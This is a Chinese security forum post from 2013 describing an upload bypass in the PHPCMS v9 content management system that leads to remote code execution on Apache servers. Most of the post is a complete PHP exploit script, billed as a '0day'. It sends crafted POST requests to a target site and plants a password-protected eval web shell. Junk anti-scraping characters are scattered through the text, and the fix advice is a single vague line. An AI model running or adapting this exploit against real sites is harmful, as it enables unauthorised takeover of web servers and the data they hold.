找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2305|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
! m% v& W6 B$ N7 H7 J* b2 d9 T5 [- q4 a9 _; {
简要描述:8 X9 z) ^4 B% `/ P' P8 S

+ U2 W, e, ~) y/ Ophpcms v9 getshell (apache)
( s% v/ g+ g: W! p详细说明:
5 s% g2 l( i2 _/ F* e* M, f5 |5 `. I' S
漏洞文件:phpcms\modules\attachment\attachments.php
- s$ h/ S. b2 v# }+ A! H& b2 [* b' a4 [
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
% U9 R0 F8 t" h! [3 x后缀检测:phpcms\modules\attachment\functions\global.func.php
, A- y, [/ X  T6 X8 K% j5 S0 Y! V' i6 [4 A( P: n

* l2 i. r9 `2 A  ~; ^9 d6 U, c$ f( s* d& Y) X% R
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  8 k; A7 W5 \# t. Q' o. Q

, ~" Q4 t! ]# K  i: H, g关键函数:
7 J, K' ?, k" O3 A1 b* B) y  \3 ^$ f5 [! t

$ G6 |1 d$ p( x4 X9 q2 v1 ]: k( q& z! @, j! p/ R$ C
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  8 ~5 b5 U. t/ L7 e  ~, t

+ i* [, \4 O* }; U, C( a4 _  Fileext函数是对文件后缀名的提取。
) a+ G) I7 V  E: \# H; O& t根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
/ j0 ^' \+ T9 g3 X1 [. r9 y经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。: m! h7 E& Z" P# f' e3 u. g8 ]* }+ u6 v2 P7 e
我们回到public function crop_upload() 函数中
( [& i/ H8 X- e, `8 J: k. d2 X: bif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();) o* v, h& d, k& o4 t' k2 p
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
5 E/ w$ t& m" ^2 s4 _: b这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。1 h1 ~& \3 ~" O
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
3 C' q4 Y" W% d( g$ [+ Q7 r最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
/ E/ p) x4 b* F/ I, O4 Q7 q, q看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
4 o& ?2 c( O9 T( k* N; Y' C) Q3 s漏洞证明:1 n) E& n  u. U6 {* h! B
5 T7 v0 O7 D  L  C
exp:
  o( q) ~% P* e: t: V5 Z+ B6 ^6 H% B  a0 g* D
<?php$ b2 ?0 _. ^3 g. L
error_reporting(E_ERROR);
7 Y" c# B6 J+ O7 k0 hset_time_limit(0);
# q+ F% F. D5 g" c) A9 D8 F% u, ]3 m$pass="ln";# @2 h+ O1 [/ t+ U
print_r('; y, n: l& n, u7 B$ m
+---------------------------------------------------------------------------+1 W8 S- H& u! i$ f2 A- ^, X
PHPCms V9 GETSHELL 0DAY
" I8 y* {) ~3 d, I# Xcode by L.N.
( V% M- s' j6 |- z4 m+ Q" T# j
  K7 A, v4 [  \3 c) f4 c1 P5 h1 tapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
% e( z7 u* J4 U$ Z+---------------------------------------------------------------------------+( J+ x/ G) j3 M9 p( ?, p
');
, Z$ q4 R7 g  x3 U. Yif ($argc < 2) {" k! e9 j+ k! l
print_r('( [  q; |, I8 ]7 H" `, a1 K
+---------------------------------------------------------------------------+& M5 h) G/ q. c
Usage: php '.$argv[0].' url path
. a  K- T$ h0 s- X5 ~4 r7 Q% y9 ~& O& t
Example:; S; f" V3 N) D
1.php '.$argv[0].' lanu.sinaapp.com
, {( F" P* v* b( H9 W8 k7 i2.php '.$argv[0].' lanu.sinaapp.com /phpcms
8 }$ G5 ?, d. B% @$ ^+---------------------------------------------------------------------------+
# H/ ]0 p' R$ H, }3 f$ [& O');; u- N7 ]/ R! B3 h! ?
exit;
3 [: K1 L# w! q6 b}
+ R" l) q& c' y% M8 R( c4 A3 j0 d3 i5 M" _0 O
$url = $argv[1];
: X) ]! {; f5 T1 o$path = $argv[2];6 A: i1 g  B& l9 _+ [  I% P0 X
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';% g1 b1 {. G* Z0 P  ~
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';5 N- d5 ^- c; m3 M- S& d# `
if($ret=Create_dir($url,$path))
2 w: I  P; s. L: n{; F, l' n3 ^& v9 _+ Q
//echo $ret;' M; b6 p% g) j7 J+ Z
$pattern = "|Server:[^,]+?|U";% H# `5 Q+ ], }
preg_match_all($pattern, $ret, $matches);
6 c8 w. m2 H' _) L- h; }. tif($matches[0][0])
/ E4 t$ P& ?% T{
  j" D7 }* w% Z- W% {4 |if(strpos($matches[0][0],'Apache') == false)/ {' t% Q. s  Z9 L" `8 v
{
$ J" f6 H$ S4 B0 I% t: U7 Recho "\n亲!此网站不是apache的网站。\n";exit;
4 a# V' p) N/ y8 S/ v}- ~& j) S- t$ h/ p
}
% W9 T& z5 y) v5 }2 R* [% g$ret = GetShell($url,$phpshell,$path,$file);2 Y6 n5 ?  d- Q' b1 U* g: z. r
$pattern = "|http:\/\/[^,]+?\.,?|U";/ _8 X! y' j/ [- g( i, r$ ~
preg_match_all($pattern, $ret, $matches);
: l7 \3 j: y; C/ ^if($matches[0][0])- m3 X9 {! {+ b" \5 b
{
4 M, ^9 d/ s$ J, Uecho "\n".'密码为: '.$pass."\n";
! ~. A9 c( e1 z7 L2 e0 B2 v! }echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;3 ?4 z: C; J3 @8 d2 w
}& g. j: h: V8 P# I
else
' W* j1 U" d2 Y+ F& V) W4 W{
7 ?! a2 l! r" V% c$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
3 q! k# N3 @3 `: y5 J7 c3 ypreg_match_all($pattern, $ret, $matches);2 x, H4 ?' `$ A; s! c+ g" n" m
if($matches[0][0])
& s0 r6 t* b3 u! _  W& F{
- Y0 ^4 k8 E* i3 Qecho "\n".'密码为: '.$pass."\n";+ K) j9 S& a/ r% Z. m) ~- N
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
4 n8 D; P$ ]6 [4 I& X8 O9 y}
* ^/ ~! |- c3 `+ k$ v8 d1 Eelse
" l! W) Y* ?; Q, W5 |; t) f{/ R* z6 a4 P' K0 ^: w8 c. V
echo "\r\n没得到!\n";exit;
" D( z' Z( s1 _6 i}
" A- q+ _! M0 n2 }6 t* Z}; y' U( k* e0 ]8 U2 B+ l* D  q
}
: X6 H! m* e! I' n  {; W' H' o6 J4 A3 s2 K" j1 B! T  @# y4 Z
function GetShell($url,$shell,$path,$js)# h9 f7 Z) t- B, w" f
{, F" w  C7 X1 I
$content =$shell;7 H. B, x! ^$ |) ]. ~0 ~
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";3 w1 \0 h$ b4 l6 J# U3 ]; b
$data .= "Host: ".$url."\r\n";5 U! P: e) k. B2 c% n( W; |* N
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
3 Z2 |( x1 S8 Y1 f, F6 z$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; G0 T/ d% F! }+ x$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$ K9 [( u' Z/ V$data .= "Connection: close\r\n";+ V) I$ n7 b. j+ l
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";7 [/ @0 U5 e. B4 x. s6 o! ]5 g, [
$data .= $content."\r\n";
. b/ D! z/ A8 G. I; `% |$ock=fsockopen($url,80);% v6 p3 Y, U" f/ Y! u, l
if (!$ock); q, `- @' H2 P3 ^/ Q1 E" t0 U  t
{
; n6 L/ }" c& X) W. E' l  Becho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;6 t! G# o7 c8 g0 r$ C7 G% w
}
* i8 P, s. D/ i+ H7 {; K) m4 jelse
" @+ [0 Z7 ~. U- E{7 D3 g' ~$ Z, f2 X
fwrite($ock,$data);
  i5 j/ c6 u. n# E' w$resp = '';
$ G# s3 X& S* Z- [while (!feof($ock))
6 F/ {! Q& ]4 W/ Q5 N. b1 O{! Y. Y/ Y& K! y% Y( h% r( O
$resp.=fread($ock, 1024);
) q* t. O+ f* T/ Y) o}; }% S5 t* U( a( M
return $resp;* O8 M) O$ D9 h6 C" t: z
}
( |7 k; N! P8 R}
2 z0 V$ K- P" T1 W" N- x5 r4 _9 ?7 |+ _0 K) `1 q- |$ N
function Create_dir($url,$path='')
6 _2 l. X2 f/ W3 V' m{
! |, R7 {  ?2 i' C2 D$content ='I love you';
( S1 ?! F: \6 b+ B  S$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";5 e$ y% h4 V9 |# `9 d3 @; E
$data .= "Host: ".$url."\r\n";% _$ Q# z& A; t' o) P1 z# J
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. x5 C, D/ Y( ]$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";9 [$ q7 N# x1 ^# s! d4 o
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";7 k! O( O8 K' u; p+ Y
$data .= "Connection: close\r\n";
8 t9 ^' w! @8 F" q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";2 ^3 x/ ~. [! u
$data .= $content."\r\n";9 b, Z! i) I3 f; j
$ock=fsockopen($url,80);$ Q! u/ ?6 Y) }2 ?6 e; i1 J4 U1 X
if (!$ock); E$ t. v: u2 Q2 @- s5 d
{
3 E: x( }4 @$ F: S, ]/ l+ zecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
" U/ X7 @2 g+ [/ w, ?2 w}
0 R3 N$ Q; v7 W2 M5 R; U3 `+ a* kfwrite($ock,$data);/ m5 j0 ?* Z6 z* \: l
$resp = '';
& d* w+ i0 W- }while (!feof($ock)); J. C: P4 e2 e3 M9 Q! M1 j
{
! x; v4 f4 s* Z5 i% K$resp.=fread($ock, 1024);# x6 s- B( k) _5 T3 K
}
7 I* J! x! A* E# breturn $resp;
" A# \8 Z6 I: u3 A}6 n! v! ]6 {! T6 r9 h( V
?> 0 n$ y2 N. ~; R. I

0 \3 {; ]; k9 s. X8 l6 x修复方案:
/ L4 w4 o& x" t! Y1 R. E7 y$ H: j1 ^
过滤过滤再过滤
: }+ \9 ?$ o  z, Q8 N# s+ p
! l1 h0 l7 q! Y& h' R8 O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表